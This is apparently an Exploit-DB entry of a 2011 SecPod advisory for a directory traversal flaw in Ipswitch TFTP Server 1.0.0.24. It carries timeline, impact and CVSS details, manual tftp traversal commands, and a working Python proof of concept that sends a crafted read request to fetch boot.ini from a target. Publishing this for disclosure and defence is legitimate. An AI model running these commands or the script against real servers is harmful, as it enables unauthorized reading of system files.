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Ipswitch TFTP Server 1.0.0.24 - Directory Traversal Vulnerability



EDB-ID: 18189 CVE: N/A OSVDB-ID: 77455
Author: SecPod Research Published: 2011-12-02 Verified: Verified
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# Title     : Ipswitch TFTP Server Directory Traversal Vulnerability
# Author    : Prabhu S Angadi from SecPod Technologies (www.secpod.com)
# Vendor    : http://www.whatsupgold.com/index.aspx
# Advisory  : http://secpod.org/blog/?p=424
#             http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt
#             http://secpod.org/exploits/SecPod_Ipswitch_TFTP_Server_Dir_Trav_POC.py
# Version   : Ipswitch TFTP Server 1.0.0.24
# Date      : 02/12/2011
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SecPod ID: 1028					13/09/2011 Issue Discovered
						04/10/2011 Vendor Notified
						No Response from Vendor
						02/12/2011 Advisory Released


Class: Information Disclosure                   Severity: Medium


Overview:
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Ipswitch TFTP Server 1.0.0.24 is prone to a directory traversal
vulnerability.


Technical Description:
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The vulnerability is caused due to improper validation to Read Request
containing '../' sequences, which allows attackers to read arbitrary
files.


Impact:
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Successful exploitation could allow an attacker to obtain sensitive
information.


Affected Software:
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Ipswitch TFTP Server 1.0.0.24


Tested on:
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Ipswitch TFTP Server 1.0.0.24 on Windows XP SP3 & Windows 7.


References:
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http://www.ipswitch.com/
http://secpod.org/blog/?p=424
http://www.whatsupgold.com/index.aspx
http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt
http://secpod.org/exploits/SecPod_Ipswitch_TFTP_Server_Dir_Trav_POC.py


Download Link:
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http://www.whatsupgold.com/free-software/network-tools/tftp-server.aspx


Proof of Concept:
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tftp> get ../../../../../../../../../../../boot.ini
tftp> get ../../../../../../../../../../../windows/win.ini


Solution:
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Not available


Risk Factor:
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    CVSS Score Report:
        ACCESS_VECTOR          = NETWORK
        ACCESS_COMPLEXITY      = LOW
        AUTHENTICATION         = NOT_REQUIRED
        CONFIDENTIALITY_IMPACT = PARTIAL
        INTEGRITY_IMPACT       = NONE
        AVAILABILITY_IMPACT    = NONE
        EXPLOITABILITY         = PROOF_OF_CONCEPT
        REMEDIATION_LEVEL      = UNAVAILABLE
        REPORT_CONFIDENCE      = CONFIRMED
        CVSS Base Score        = 5.0 (AV:N/AC:L/Au:NR/C:P/I:N/A:N)
        CVSS Temporal Score    = 4.5
        Risk factor            = Medium


Credits:
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Prabhu S Angadi of SecPod Technologies has been credited with the discovery of
this vulnerability.


POC :
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import sys, socket

def sendPacket(HOST, PORT, data):
    '''
    Sends UDP Data to a Particular Host on a Specified Port
    with a Given Data and Return the Response
    '''
    udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_sock.sendto(data, (HOST, PORT))
    data = udp_sock.recv(1024)
    udp_sock.close()
    return data

if __name__ == "__main__":

    if len(sys.argv) < 2:
        print '\tUsage: python exploit.py target_ip'
        print '\tExample : python exploit.py 127.0.0.1'
        print '\tExiting...'
        sys.exit(0)

    HOST = sys.argv[1]                               ## The Server IP
    PORT = 69                                        ## Default TFTP port

    data = "\x00\x01"                                ## TFTP Read Request
    data += "../" * 10 + "boot.ini" + "\x00"         ## Read boot.ini file using directory traversal
    data += "netascii\x00"                           ## TFTP Type

    ## netascii
    rec_data = sendPacket(HOST, PORT, data)
    print "Data Found on the target : %s " %(HOST)
    print rec_data.strip()